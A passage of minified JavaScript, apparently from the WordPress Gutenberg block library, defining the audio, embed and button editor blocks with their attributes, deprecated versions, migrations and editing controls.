2.8-.6h.3V4.3h-.4z"})),kt=[{attributes:{src:{type:"string",source:"attribute",selector:"audio",attribute:"src"},caption:{type:"string",source:"html",selector:"figcaption"},id:{type:"number"},autoplay:{type:"boolean",source:"attribute",selector:"audio",attribute:"autoplay"},loop:{type:"boolean",source:"attribute",selector:"audio",attribute:"loop"},preload:{type:"string",source:"attribute",selector:"audio",attribute:"preload"}},supports:{align:!0},save(e){let{attributes:t}=e;const{autoplay:n,caption:o,loop:a,preload:r,src:l}=t;return(0,$e.createElement)("figure",null,(0,$e.createElement)("audio",{controls:"controls",src:l,autoPlay:n,loop:a,preload:r}),!Ze.RichText.isEmpty(o)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:o}))}}],xt=window.wp.blob,wt=window.wp.notices,Et=[{ratio:"2.33",className:"wp-embed-aspect-21-9"},{ratio:"2.00",className:"wp-embed-aspect-18-9"},{ratio:"1.78",className:"wp-embed-aspect-16-9"},{ratio:"1.33",className:"wp-embed-aspect-4-3"},{ratio:"1.00",className:"wp-embed-aspect-1-1"},{ratio:"0.56",className:"wp-embed-aspect-9-16"},{ratio:"0.50",className:"wp-embed-aspect-1-2"}],Ct="wp-embed",St=window.lodash;var Bt=n(3827),Tt=n.n(Bt),Nt=n(9756),Pt=n.n(Nt);const{name:It}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/embed",title:"Embed",category:"embed",description:"Add a block that displays content pulled from other sites, like Twitter or YouTube.",textdomain:"default",attributes:{url:{type:"string",__experimentalRole:"content"},caption:{type:"string",source:"html",selector:"figcaption",__experimentalRole:"content"},type:{type:"string",__experimentalRole:"content"},providerNameSlug:{type:"string",__experimentalRole:"content"},allowResponsive:{type:"boolean",default:!0},responsive:{type:"boolean",default:!1,__experimentalRole:"content"},previewable:{type:"boolean",default:!0,__experimentalRole:"content"}},supports:{align:!0},editorStyle:"wp-block-embed-editor",style:"wp-block-embed"},zt=e=>{var t;return null===(t=(0,Ge.getBlockVariations)(It))||void 0===t?void 0:t.find((t=>{let{patterns:n}=t;return function(e){return(arguments.length>1&&void 0!==arguments[1]?arguments[1]:[]).some((t=>e.match(t)))}(e,n)}))},Mt=e=>e&&e.includes('class="wp-embedded-content"'),Lt=function(e){var t;let n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const{preview:o,attributes:a={}}=e,{url:r,providerNameSlug:l,type:i,...s}=a;if(!r||!(0,Ge.getBlockType)(It))return;const c=zt(r),u="wordpress"===l||i===Ct,m=!u&&c&&(c.attributes.providerNameSlug!==l||!l);if(m)return(0,Ge.createBlock)(It,{url:r,...s,...c.attributes});const d=null===(t=(0,Ge.getBlockVariations)(It))||void 0===t?void 0:t.find((e=>{let{name:t}=e;return"wordpress"===t}));return d&&o&&Mt(o.html)&&!u?(0,Ge.createBlock)(It,{url:r,...d.attributes,...n}):void 0},Rt=e=>{if(!e)return e;const t=Et.reduce(((e,t)=>{let{className:n}=t;return e[n]=!1,e}),{"wp-has-aspect-ratio":!1});return Tt()(e,t)};function At(e,t){let n=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];if(!n)return Rt(t);const o=document.implementation.createHTMLDocument("");o.body.innerHTML=e;const a=o.body.querySelector("iframe");if(a&&a.height&&a.width){const e=(a.width/a.height).toFixed(2);for(let n=0;n<Et.length;n++){const o=Et[n];if(e>=o.ratio)return e-o.ratio>.1?Rt(t):Tt()(Rt(t),o.className,"wp-has-aspect-ratio")}}return t}const Vt=Pt()((function(e,t,n,o){let a=!(arguments.length>4&&void 0!==arguments[4])||arguments[4];if(!e)return{};const r={};let{type:l="rich"}=e;const{html:i,provider_name:s}=e,c=(0,St.kebabCase)((s||t).toLowerCase());return Mt(i)&&(l=Ct),(i||"photo"===l)&&(r.type=l,r.providerNameSlug=c),r.className=At(i,n,o&&a),r})),Ht=function(e,t,n,o){let a=arguments.length>4&&void 0!==arguments[4]&&arguments[4];const{allowResponsive:r,className:l}=e;return{...e,...Vt(t,n,a?void 0:l,o,r)}},Dt=["audio"],Ft={from:[{type:"files",isMatch:e=>1===e.length&&0===e[0].type.indexOf("audio/"),transform(e){const t=e[0];return(0,Ge.createBlock)("core/audio",{src:(0,xt.createBlobURL)(t)})}},{type:"shortcode",tag:"audio",attributes:{src:{type:"string",shortcode:e=>{let{named:{src:t,mp3:n,m4a:o,ogg:a,wav:r,wma:l}}=e;return t||n||o||a||r||l}},loop:{type:"string",shortcode:e=>{let{named:{loop:t}}=e;return t}},autoplay:{type:"string",shortcode:e=>{let{named:{autoplay:t}}=e;return t}},preload:{type:"string",shortcode:e=>{let{named:{preload:t}}=e;return t}}}}]},Gt={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/audio",title:"Audio",category:"media",description:"Embed a simple audio player.",keywords:["music","sound","podcast","recording"],textdomain:"default",attributes:{src:{type:"string",source:"attribute",selector:"audio",attribute:"src",__experimentalRole:"content"},caption:{type:"string",source:"html",selector:"figcaption",__experimentalRole:"content"},id:{type:"number",__experimentalRole:"content"},autoplay:{type:"boolean",source:"attribute",selector:"audio",attribute:"autoplay"},loop:{type:"boolean",source:"attribute",selector:"audio",attribute:"loop"},preload:{type:"string",source:"attribute",selector:"audio",attribute:"preload"}},supports:{anchor:!0,align:!0,spacing:{margin:!0,padding:!0}},editorStyle:"wp-block-audio-editor",style:"wp-block-audio"},{name:$t}=Gt,Ut={icon:ft,example:{attributes:{src:"https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg"}},transforms:Ft,deprecated:kt,edit:function(e){let{attributes:t,className:n,setAttributes:o,onReplace:a,isSelected:r,insertBlocksAfter:l}=e;const{id:i,autoplay:s,caption:c,loop:u,preload:m,src:d}=t,p=!i&&(0,xt.isBlobURL)(d),g=(0,it.useSelect)((e=>{const{getSettings:t}=e(Ze.store);return t().mediaUpload}),[]);function h(e){return t=>{o({[e]:t})}}function v(e){if(e!==d){const t=Lt({attributes:{url:e}});if(void 0!==t&&a)return void a(t);o({src:e,id:void 0})}}(0,$e.useEffect)((()=>{if(!i&&(0,xt.isBlobURL)(d)){const e=(0,xt.getBlobByURL)(d);e&&g({filesList:[e],onFileChange:e=>{let[t]=e;return y(t)},onError:e=>_(e),allowedTypes:Dt})}}),[]);const{createErrorNotice:b}=(0,it.useDispatch)(wt.store);function _(e){b(e,{type:"snackbar"})}function y(e){e&&e.url?o({src:e.url,id:e.id}):o({src:void 0,id:void 0})}const f=at()(n,{"is-transient":p}),k=(0,Ze.useBlockProps)({className:f});return d?(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{mediaId:i,mediaURL:d,allowedTypes:Dt,accept:"audio/*",onSelect:y,onSelectURL:v,onError:_})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Autoplay"),onChange:h("autoplay"),checked:s,help:function(e){return e?(0,je.__)("Autoplay may cause usability issues for some users."):null}}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Loop"),onChange:h("loop"),checked:u}),(0,$e.createElement)(We.SelectControl,{label:(0,je._x)("Preload","noun; Audio block parameter"),value:m||"",onChange:e=>o({preload:e||void 0}),options:[{value:"",label:(0,je.__)("Browser default")},{value:"auto",label:(0,je.__)("Auto")},{value:"metadata",label:(0,je.__)("Metadata")},{value:"none",label:(0,je._x)("None","Preload value")}]}))),(0,$e.createElement)("figure",k,(0,$e.createElement)(We.Disabled,{isDisabled:!r},(0,$e.createElement)("audio",{controls:"controls",src:d})),p&&(0,$e.createElement)(We.Spinner,null),(!Ze.RichText.isEmpty(c)||r)&&(0,$e.createElement)(Ze.RichText,{tagName:"figcaption",className:(0,Ze.__experimentalGetElementClassName)("caption"),"aria-label":(0,je.__)("Audio caption text"),placeholder:(0,je.__)("Add caption"),value:c,onChange:e=>o({caption:e}),inlineToolbar:!0,__unstableOnSplitAtEnd:()=>l((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))}))):(0,$e.createElement)("div",k,(0,$e.createElement)(Ze.MediaPlaceholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:ft}),onSelect:y,onSelectURL:v,accept:"audio/*",allowedTypes:Dt,value:t,onError:_}))},save:function(e){let{attributes:t}=e;const{autoplay:n,caption:o,loop:a,preload:r,src:l}=t;return l&&(0,$e.createElement)("figure",Ze.useBlockProps.save(),(0,$e.createElement)("audio",{controls:"controls",src:l,autoPlay:n,loop:a,preload:r}),!Ze.RichText.isEmpty(o)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:o,className:(0,Ze.__experimentalGetElementClassName)("caption")}))}},Ot=()=>qe({name:$t,metadata:Gt,settings:Ut}),qt=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M19 6.5H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7c0-1.1-.9-2-2-2zm.5 9c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v7zM8 12.8h8v-1.5H8v1.5z"})),Wt=window.wp.compose,jt=e=>e,Zt=e=>{if(null===e||"object"!=typeof e||Array.isArray(e))return e;const t=(0,St.pickBy)((0,St.mapValues)(e,Zt),jt);return(0,St.isEmpty)(t)?void 0:t},Qt=Zt;function Kt(e){var t,n;if(null==e||null===(t=e.style)||void 0===t||null===(n=t.typography)||void 0===n||!n.fontFamily)return e;const{fontFamily:o,...a}=e.style.typography;return{...e,style:Qt({...e.style,typography:a}),fontFamily:o.split("|").pop()}}const Yt=e=>{var t,n,o;const{borderRadius:a,...r}=e,l=[a,null===(t=r.style)||void 0===t||null===(n=t.border)||void 0===n?void 0:n.radius].find((e=>"number"==typeof e&&0!==e));return l?{...r,style:{...r.style,border:{...null===(o=r.style)||void 0===o?void 0:o.border,radius:`${l}px`}}}:r},Jt=e=>{if(!e.customTextColor&&!e.customBackgroundColor&&!e.customGradient)return e;const t={color:{}};e.customTextColor&&(t.color.text=e.customTextColor),e.customBackgroundColor&&(t.color.background=e.customBackgroundColor),e.customGradient&&(t.color.gradient=e.customGradient);const{customTextColor:n,customBackgroundColor:o,customGradient:a,...r}=e;return{...r,style:t}},Xt=e=>{const{color:t,textColor:n,...o}={...e,customTextColor:e.textColor&&"#"===e.textColor[0]?e.textColor:void 0,customBackgroundColor:e.color&&"#"===e.color[0]?e.color:void 0};return Jt(o)},en={url:{type:"string",source:"attribute",selector:"a",attribute:"href"},title:{type:"string",source:"attribute",selector:"a",attribute:"title"},text:{type:"string",source:"html",selector:"a"}},tn={attributes:{url:{type:"string",source:"attribute",selector:"a",attribute:"href"},title:{type:"string",source:"attribute",selector:"a",attribute:"title"},text:{type:"string",source:"html",selector:"a"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,__experimentalFontFamily:!0,__experimentalDefaultControls:{fontSize:!0}},reusable:!1,spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{radius:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{radius:!0}},__experimentalSelector:".wp-block-button__link"},save(e){var t,n;let{attributes:o,className:a}=e;const{fontSize:r,linkTarget:l,rel:i,style:s,text:c,title:u,url:m,width:d}=o;if(!c)return null;const p=(0,Ze.__experimentalGetBorderClassesAndStyles)(o),g=(0,Ze.__experimentalGetColorClassesAndStyles)(o),h=(0,Ze.__experimentalGetSpacingClassesAndStyles)(o),v=at()("wp-block-button__link",g.className,p.className,{"no-border-radius":0===(null==s||null===(t=s.border)||void 0===t?void 0:t.radius)}),b={...p.style,...g.style,...h.style},_=at()(a,{[`has-custom-width wp-block-button__width-${d}`]:d,"has-custom-font-size":r||(null==s||null===(n=s.typography)||void 0===n?void 0:n.fontSize)});return(0,$e.createElement)("div",Ze.useBlockProps.save({className:_}),(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:v,href:m,title:u,style:b,value:c,target:l,rel:i}))}},nn={attributes:{url:{type:"string",source:"attribute",selector:"a",attribute:"href"},title:{type:"string",source:"attribute",selector:"a",attribute:"title"},text:{type:"string",source:"html",selector:"a"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0},typography:{fontSize:!0,__experimentalFontFamily:!0},reusable:!1,spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{radius:!0,__experimentalSkipSerialization:!0},__experimentalSelector:".wp-block-button__link"},save(e){var t,n;let{attributes:o,className:a}=e;const{fontSize:r,linkTarget:l,rel:i,style:s,text:c,title:u,url:m,width:d}=o;if(!c)return null;const p=(0,Ze.__experimentalGetBorderClassesAndStyles)(o),g=(0,Ze.__experimentalGetColorClassesAndStyles)(o),h=(0,Ze.__experimentalGetSpacingClassesAndStyles)(o),v=at()("wp-block-button__link",g.className,p.className,{"no-border-radius":0===(null==s||null===(t=s.border)||void 0===t?void 0:t.radius)}),b={...p.style,...g.style,...h.style},_=at()(a,{[`has-custom-width wp-block-button__width-${d}`]:d,"has-custom-font-size":r||(null==s||null===(n=s.typography)||void 0===n?void 0:n.fontSize)});return(0,$e.createElement)("div",Ze.useBlockProps.save({className:_}),(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:v,href:m,title:u,style:b,value:c,target:l,rel:i}))},migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},on=[tn,nn,{supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0},typography:{fontSize:!0,__experimentalFontFamily:!0},reusable:!1,__experimentalSelector:".wp-block-button__link"},attributes:{...en,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},isEligible(e){var t;let{style:n}=e;return"number"==typeof(null==n||null===(t=n.border)||void 0===t?void 0:t.radius)},save(e){var t,n,o;let{attributes:a,className:r}=e;const{fontSize:l,linkTarget:i,rel:s,style:c,text:u,title:m,url:d,width:p}=a;if(!u)return null;const g=null==c||null===(t=c.border)||void 0===t?void 0:t.radius,h=(0,Ze.__experimentalGetColorClassesAndStyles)(a),v=at()("wp-block-button__link",h.className,{"no-border-radius":0===(null==c||null===(n=c.border)||void 0===n?void 0:n.radius)}),b={borderRadius:g||void 0,...h.style},_=at()(r,{[`has-custom-width wp-block-button__width-${p}`]:p,"has-custom-font-size":l||(null==c||null===(o=c.typography)||void 0===o?void 0:o.fontSize)});return(0,$e.createElement)("div",Ze.useBlockProps.save({className:_}),(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:v,href:d,title:m,style:b,value:u,target:i,rel:s}))},migrate:(0,Wt.compose)(Kt,Yt)},{supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0},reusable:!1,__experimentalSelector:".wp-block-button__link"},attributes:{...en,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"},width:{type:"number"}},save(e){let{attributes:t,className:n}=e;const{borderRadius:o,linkTarget:a,rel:r,text:l,title:i,url:s,width:c}=t,u=(0,Ze.__experimentalGetColorClassesAndStyles)(t),m=at()("wp-block-button__link",u.className,{"no-border-radius":0===o}),d={borderRadius:o?o+"px":void 0,...u.style},p=at()(n,{[`has-custom-width wp-block-button__width-${c}`]:c});return(0,$e.createElement)("div",Ze.useBlockProps.save({className:p}),(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:m,href:s,title:i,style:d,value:l,target:a,rel:r}))},migrate:(0,Wt.compose)(Kt,Yt)},{supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0},reusable:!1,__experimentalSelector:".wp-block-button__link"},attributes:{...en,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"},width:{type:"number"}},save(e){let{attributes:t,className:n}=e;const{borderRadius:o,linkTarget:a,rel:r,text:l,title:i,url:s,width:c}=t,u=(0,Ze.__experimentalGetColorClassesAndStyles)(t),m=at()("wp-block-button__link",u.className,{"no-border-radius":0===o}),d={borderRadius:o?o+"px":void 0,...u.style},p=at()(n,{[`has-custom-width wp-block-button__width-${c}`]:c});return(0,$e.createElement)("div",Ze.useBlockProps.save({className:p}),(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:m,href:s,title:i,style:d,value:l,target:a,rel:r}))},migrate:(0,Wt.compose)(Kt,Yt)},{supports:{align:!0,alignWide:!1,color:{gradients:!0}},attributes:{...en,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"}},save(e){let{attributes:t}=e;const{borderRadius:n,linkTarget:o,rel:a,text:r,title:l,url:i}=t,s=at()("wp-block-button__link",{"no-border-radius":0===n}),c={borderRadius:n?n+"px":void 0};return(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:s,href:i,title:l,style:c,value:r,target:o,rel:a})},migrate:Yt},{supports:{align:!0,alignWide:!1},attributes:{...en,linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},borderRadius:{type:"number"},backgroundColor:{type:"string"},textColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"},customGradient:{type:"string"},gradient:{type:"string"}},isEligible:e=>!!e.customTextColor||!!e.customBackgroundColor||!!e.customGradient,migrate:(0,Wt.compose)(Yt,Jt),save(e){let{attributes:t}=e;const{backgroundColor:n,borderRadius:o,customBackgroundColor:a,customTextColor:r,customGradient:l,linkTarget:i,gradient:s,rel:c,text:u,textColor:m,title:d,url:p}=t,g=(0,Ze.getColorClassName)("color",m),h=!l&&(0,Ze.getColorClassName)("background-color",n),v=(0,Ze.__experimentalGetGradientClass)(s),b=at()("wp-block-button__link",{"has-text-color":m||r,[g]:g,"has-background":n||a||l||s,[h]:h,"no-border-radius":0===o,[v]:v}),_={background:l||void 0,backgroundColor:h||l||s?void 0:a,color:g?void 0:r,borderRadius:o?o+"px":void 0};return(0,$e.createElement)("div",null,(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:b,href:p,title:d,style:_,value:u,target:i,rel:c}))}},{attributes:{...en,align:{type:"string",default:"none"},backgroundColor:{type:"string"},textColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"}},isEligible:e=>e.className&&e.className.includes("is-style-squared"),migrate(e){let t=e.className;return t&&(t=t.replace(/is-style-squared[\s]?/,"").trim()),Yt(Jt({...e,className:t||void 0,borderRadius:0}))},save(e){let{attributes:t}=e;const{backgroundColor:n,customBackgroundColor:o,customTextColor:a,linkTarget:r,rel:l,text:i,textColor:s,title:c,url:u}=t,m=(0,Ze.getColorClassName)("color",s),d=(0,Ze.getColorClassName)("background-color",n),p=at()("wp-block-button__link",{"has-text-color":s||a,[m]:m,"has-background":n||o,[d]:d}),g={backgroundColor:d?void 0:o,color:m?void 0:a};return(0,$e.createElement)("div",null,(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:p,href:u,title:c,style:g,value:i,target:r,rel:l}))}},{attributes:{...en,align:{type:"string",default:"none"},backgroundColor:{type:"string"},textColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"}},migrate:Xt,save(e){let{attributes:t}=e;const{url:n,text:o,title:a,backgroundColor:r,textColor:l,customBackgroundColor:i,customTextColor:s}=t,c=(0,Ze.getColorClassName)("color",l),u=(0,Ze.getColorClassName)("background-color",r),m=at()("wp-block-button__link",{"has-text-color":l||s,[c]:c,"has-background":r||i,[u]:u}),d={backgroundColor:u?void 0:i,color:c?void 0:s};return(0,$e.createElement)("div",null,(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:m,href:n,title:a,style:d,value:o}))}},{attributes:{...en,color:{type:"string"},textColor:{type:"string"},align:{type:"string",default:"none"}},save(e){let{attributes:t}=e;const{url:n,text:o,title:a,align:r,color:l,textColor:i}=t,s={backgroundColor:l,color:i};return(0,$e.createElement)("div",{className:`align${r}`},(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:"wp-block-button__link",href:n,title:a,style:s,value:o}))},migrate:Xt},{attributes:{...en,color:{type:"string"},textColor:{type:"string"},align:{type:"string",default:"none"}},save(e){let{attributes:t}=e;const{url:n,text:o,title:a,align:r,color:l,textColor:i}=t;return(0,$e.createElement)("div",{className:`align${r}`,style:{backgroundColor:l}},(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",href:n,title:a,style:{color:i},value:o}))},migrate:Xt}],an=on,rn=window.wp.keycodes,ln=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M15.6 7.2H14v1.5h1.6c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.8 0 5.2-2.3 5.2-5.2 0-2.9-2.3-5.2-5.2-5.2zM4.7 12.4c0-2 1.7-3.7 3.7-3.7H10V7.2H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H10v-1.5H8.4c-2 0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"})),sn=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M15.6 7.3h-.7l1.6-3.5-.9-.4-3.9 8.5H9v1.5h2l-1.3 2.8H8.4c-2 0-3.7-1.7-3.7-3.7s1.7-3.7 3.7-3.7H10V7.3H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H9l-1.4 3.2.9.4 5.7-12.5h1.4c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.9 0 5.2-2.3 5.2-5.2 0-2.9-2.4-5.2-5.2-5.2z"})),cn="noreferrer noopener";function un(e){let{selectedWidth:t,setAttributes:n}=e;return(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Width settings")},(0,$e.createElement)(We.ButtonGroup,{"aria-label":(0,je.__)("Button width")},[25,50,75,100].map((e=>(0,$e.createElement)(We.Button,{key:e,isSmall:!0,variant:e===t?"primary":void 0,onClick:()=>{var o;n({width:t===(o=e)?void 0:o})}},e,"%")))))}const mn={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/button",title:"Button",category:"design",parent:["core/buttons"],description:"Prompt visitors to take action with a button-style link.",keywords:["link"],textdomain:"default",attributes:{url:{type:"string",source:"attribute",selector:"a",attribute:"href"},title:{type:"string",source:"attribute",selector:"a",attribute:"title"},text:{type:"string",source:"html",selector:"a"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},supports:{anchor:!0,align:!0,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},reusable:!1,spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{radius:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{radius:!0}},__experimentalSelector:".wp-block-button .wp-block-button__link"},styles:[{name:"fill",label:"Fill",isDefault:!0},{name:"outline",label:"Outline"}],editorStyle:"wp-block-button-editor",style:"wp-block-button"},{name:dn}=mn,pn={icon:qt,example:{attributes:{className:"is-style-fill",text:(0,je.__)("Call to Action")}},edit:function(e){var t;const{attributes:n,setAttributes:o,className:a,isSelected:r,onReplace:l,mergeBlocks:i}=e,{linkTarget:s,placeholder:c,rel:u,style:m,text:d,url:p,width:g}=n,h=(0,$e.useCallback)((e=>{o({rel:e})}),[o]),[v,b]=(0,$e.useState)(null),_=(0,Ze.__experimentalUseBorderProps)(n),y=(0,Ze.__experimentalUseColorProps)(n),f=(0,Ze.__experimentalGetSpacingClassesAndStyles)(n),k=(0,$e.useRef)(),x=(0,$e.useRef)(),w=(0,Ze.useBlockProps)({ref:(0,Wt.useMergeRefs)([b,k]),onKeyDown:function(e){if(rn.isKeyboardEvent.primary(e,"k"))T(e);else if(rn.isKeyboardEvent.primaryShift(e,"k")){var t;N(),null===(t=x.current)||void 0===t||t.focus()}}}),[E,C]=(0,$e.useState)(!1),S=!!p,B="_blank"===s;function T(e){e.preventDefault(),C(!0)}function N(){o({url:void 0,linkTarget:void 0,rel:void 0}),C(!1)}return(0,$e.useEffect)((()=>{r||C(!1)}),[r]),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("div",nt({},w,{className:at()(w.className,{[`has-custom-width wp-block-button__width-${g}`]:g,"has-custom-font-size":w.style.fontSize})}),(0,$e.createElement)(Ze.RichText,{ref:x,"aria-label":(0,je.__)("Button text"),placeholder:c||(0,je.__)("Add text…"),value:d,onChange:e=>{o({text:e.replace(/<\/?a[^>]*>/g,"")})},withoutInteractiveFormatting:!0,className:at()(a,"wp-block-button__link",y.className,_.className,{"no-border-radius":0===(null==m||null===(t=m.border)||void 0===t?void 0:t.radius)},(0,Ze.__experimentalGetElementClassName)("button")),style:{..._.style,...y.style,...f.style},onSplit:e=>(0,Ge.createBlock)("core/button",{...n,text:e}),onReplace:l,onMerge:i,identifier:"text"})),(0,$e.createElement)(Ze.BlockControls,{group:"block"},!S&&(0,$e.createElement)(We.ToolbarButton,{name:"link",icon:ln,title:(0,je.__)("Link"),shortcut:rn.displayShortcut.primary("k"),onClick:T}),S&&(0,$e.createElement)(We.ToolbarButton,{name:"link",icon:sn,title:(0,je.__)("Unlink"),shortcut:rn.displayShortcut.primaryShift("k"),onClick:N,isActive:!0})),r&&(E||S)&&(0,$e.createElement)(We.Popover,{position:"bottom center",onClose:()=>{var e;C(!1),null===(e=x.current)||void 0===e||e.focus()},anchor:v,focusOnMount:!!E&&"firstElement",__unstableSlotName:"__unstable-block-tools-after",shift:!0},(0,$e.createElement)(Ze.__experimentalLinkControl,{className:"wp-block-navigation-link__inline-link-input",value:{url:p,opensInNewTab:B},onChange:e=>{let{url:t="",opensInNewTab:n}=e;o({url:t}),B!==n&&function(e){const t=e?"_blank":void 0;let n=u;t&&!u?n=cn:t||u!==cn||(n=void 0),o({linkTarget:t,rel:n})}(n)},onRemove:()=>{var e;N(),null===(e=x.current)||void 0===e||e.focus()},forceIsEditingLink:E})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(un,{selectedWidth:g,setAttributes:o})),(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"advanced"},(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Link rel"),value:u||"",onChange:h})))},save:function(e){var t,n;let{attributes:o,className:a}=e;const{fontSize:r,linkTarget:l,rel:i,style:s,text:c,title:u,url:m,width:d}=o;if(!c)return null;const p=(0,Ze.__experimentalGetBorderClassesAndStyles)(o),g=(0,Ze.__experimentalGetColorClassesAndStyles)(o),h=(0,Ze.__experimentalGetSpacingClassesAndStyles)(o),v=at()("wp-block-button__link",g.className,p.className,{"no-border-radius":0===(null==s||null===(t=s.border)||void 0===t?void 0:t.radius)},(0,Ze.__experimentalGetElementClassName)("button")),b={...p.style,...g.style,...h.style},_=at()(a,{[`has-custom-width wp-block-button__width-${d}`]:d,"has-custom-font-size":r||(null==s||null===(n=s.typography)||void 0===n?void 